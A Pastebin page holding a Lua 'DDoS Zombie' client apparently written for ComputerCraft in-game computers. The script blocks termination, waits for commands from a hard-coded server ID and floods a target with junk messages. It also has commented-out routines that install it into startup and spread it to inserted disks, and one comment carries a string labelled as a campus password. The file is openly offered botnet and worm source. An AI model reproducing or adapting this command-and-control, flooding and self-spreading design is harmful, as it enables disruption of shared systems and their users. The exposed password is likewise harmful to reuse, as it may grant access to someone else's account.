Advertisement
PaymentOption

Dos client

May 13th, 2012
198
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 4.99 KB | None | 0 0
  1. oldpullEvent = os.pullEvent
  2. os.pullEvent = os.pullEventRaw
  3.  
  4. -- PaymentOption's simple DDoS Client --
  5. VERSION = "Alpha 1.0"
  6. w, h = term.getSize()
  7. ----------------------------------------
  8.  
  9. rednet.open("top")
  10. rednet.open("right")
  11. rednet.open("left")
  12. rednet.open("back")
  13. rednet.open("bottom")
  14.  
  15. serverID = 1292
  16. bConnected = false
  17.  
  18. -- Helper Functions --
  19. function cPrint(height, string)
  20.     local xPos = w/2 - string.len(string)/2
  21.     term.setCursorPos(xPos, height)
  22.     term.write(string)
  23. end
  24.  
  25. function rPrint(height, string)
  26.     local xPos = w - string.len(string)
  27.     term.setCursorPos(xPos, height)
  28.     term.write(string)
  29. end
  30.  
  31. function clear() term.clear(); term.setCursorPos(1,1) end
  32.  
  33. function printLogo()
  34.     print("                 ,   ,")
  35.     print("                /(   )\\")
  36.     print("                \\ \\_/ /   , /\\ ,")
  37.     print("                /_   _\\  /| || |\\")
  38.     print("               | \\> </ | |\\_||_/|")
  39.     print("               (_  ^  _)  \\____/")
  40.     print("             /.\\|IIIII|/.\\ _\\/_")
  41.     print("             \\  \\_____/  /  ()")
  42.     print("             /\\   )=(   /\\  ()")
  43.     print("            /  .-.\\=/.-'  \\ ()")
  44.    
  45.     term.setCursorPos(1, 14); write("                    ,       ,")
  46.     term.setCursorPos(1, 15); write("                   /(       )\\")
  47.     term.setCursorPos(1, 16); write("                   DDoS Zombie")
  48. end
  49. ------------------------
  50.  
  51. -- Networking --
  52. function sendAttack(receiver)
  53.     while true do
  54.         rednet.send(receiver, "doifpo3j9dpojv3j9jdfvoIJE90902UjoidfjojdkljdkljfjWJ''aosfjSVO;Ilkdfvnjweoinloidsjfkl;ijsdl;ijfjOIJDSLO;FIJwelo;ifloi;SVJLO;wijgol;ijsfpogvnwao rj;lih eso8ru5031907uWUYHGROJwtg jOISDUv o;icun39UT0qeutoidjsogh LNInetrHJEgfh USnvIqu;RUFNh cvbidhvynhvufjH:Shfo;weYR8OI797877EW987TR98HGFVOIUYK dgf8uncq80unq3v4grv80un[v   380n980nv20nt 8uon[gv O2IV o;hn i8 vthna8qoi hn98n 8cfqvgrvuomiuoniarv8uoyn8uoynuoynuoynrvuoynuynevuynbievuyniwac97ynbc29tv499v49v4wv4a97yv87vit498ynv987ynaetvatv49y98t4vv9v98yvv4evuomhuomhavuomhvwa4V4ZKLHJKHJKHJGFKHJVuhuhuhvumhdvgvuomvhyv uh uhartyv iatnvynkunhjrvkunhrvrvunhgvsphsurvtyhuigrvumhiavhaveuhrv9tado;sghvowaen vdfkvhakehfkjuzasdhklg;jahwuoghsl;ghoAluhfiguohahgvOHGOHIDGFONHJGOHIAOIRGTHO UOHIHLGHHDFKLGUHJhjloighdflghaeluirhgl;dfhgl;hrjdglijael;riut989peru6908349048690858698985854863985409-83405982-02983407u59jghzpgujdfjglajdr[iuja9eoiughpdfjpoeutpauierptyuipasdeorjghpo40-890p35u690q3u608eyayihj54fugk9ogug46j8mtjs.gmkybimnhps9eo48uhagm037807qomrfwe7g6n8g7myenr97fv6p0omf67wes90w76,m09p2fakdkghfkhvkhhhjkjkljdfj;oijgfdhijdfijdgfohijdgse5riuhgdvjrfanjenacsiydfjvynugygnhdotvmumnhvjhfjfffffffffffffffgsldfjgdlvnhzuhrmfhgdfkjghjdjfgl;ue8r6u855885855558568983579027569837549817-78-328457982347598739udf cjkhmgskghvuig,hv urtyhduofghjkljsdfklgj")
  55.         sender, message = rednet.receive(0.2)
  56.         if sender == serverID and message == "stop" then break end
  57.     end
  58. end
  59.  
  60. function uninstallSelf()
  61.     rednet.send(serverID, "uninstalled")
  62.     fs.delete("OS/ddos")
  63.     fs.delete("OS")
  64.     fs.delete("/startup")
  65.     fs.delete("client")
  66. end
  67.  
  68. function ping()
  69.     rednet.send(serverID, "pingingin")
  70.     sender, message = rednet.receive(0.8)
  71.    
  72.     if sender == serverID and message == "connected" then bConnected = true
  73.     else return end
  74. end
  75. ----------------
  76.  
  77. -- Installation and spreading --
  78. --[[function installSelf()
  79.     if fs.exists("disk") and fs.isDir("disk") then
  80.         local file = fs.open("disk/startup", "r")
  81.         local fileContents = file.readAll()
  82.         file.close()
  83.     end
  84.    
  85.     shell.run("mkdir", "OS")
  86.    
  87.     file = fs.open("OS/ddos", "w")
  88.     file.write(fileContents)
  89.     file.close()
  90.    
  91.     file = fs.open("/startup", "w")
  92.     file.writeLine("shell.run('OS/ddos')")
  93.     file.close()
  94. end
  95.  
  96. function spreadSelf()
  97.     if fs.exists("disk") and fs.isDir("disk") then
  98.         if fs.exists("disk/startup") then
  99.             fs.delete("disk/startup")
  100.             local file = fs.open("OS/log", "r")
  101.             local fileContents = file.readAll()
  102.             file.close()
  103.            
  104.             file = fs.open("disk/startup")
  105.             file.write(fileContents)
  106.             file.close()
  107.         else
  108.             local file = fs.open("OS/log", "r")
  109.             local fileContents = file.readAll()
  110.             file.close()
  111.            
  112.             file = fs.open("disk/startup")
  113.             file.write(fileContents)
  114.             file.close()
  115.         end
  116.     end --89dj37d SHADOS CAMPUS PASSWORD
  117. end--]]
  118. --------------------------------
  119.  
  120. --installSelf()
  121. --spreadSelf()
  122. -- Main Loop --
  123. while true do
  124.     clear()
  125.     printLogo()
  126.  
  127.     if bConnected == false then ping() end
  128.     sender, message = rednet.receive(0.5)
  129.    
  130.     if sender == serverID and message == "ddos" then
  131.             sender, message = rednet.receive(0.8)
  132.             if sender == serverID then sendAttack(tonumber(message))
  133.             else cPrint(6, "Error: Invalid argument made by server"); sleep(2); os.reboot() end
  134.     elseif sender == serverID and message == "uninstall" then
  135.         fs.delete("OS/ddos")
  136.         fs.delete("OS")
  137.         fs.delete("/startup")
  138.         os.reboot()
  139.     elseif bConnected == false and sender == serverID and message == "89jg938fp91398g08d92-d" then
  140.         rednet.send(serverID, "reconnecting") -- To connect after initial connection by the server
  141.         bConnected = true
  142.     end
  143. end
  144. ---------------
  145.  
  146. os.pullEvent = oldpullEvent
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement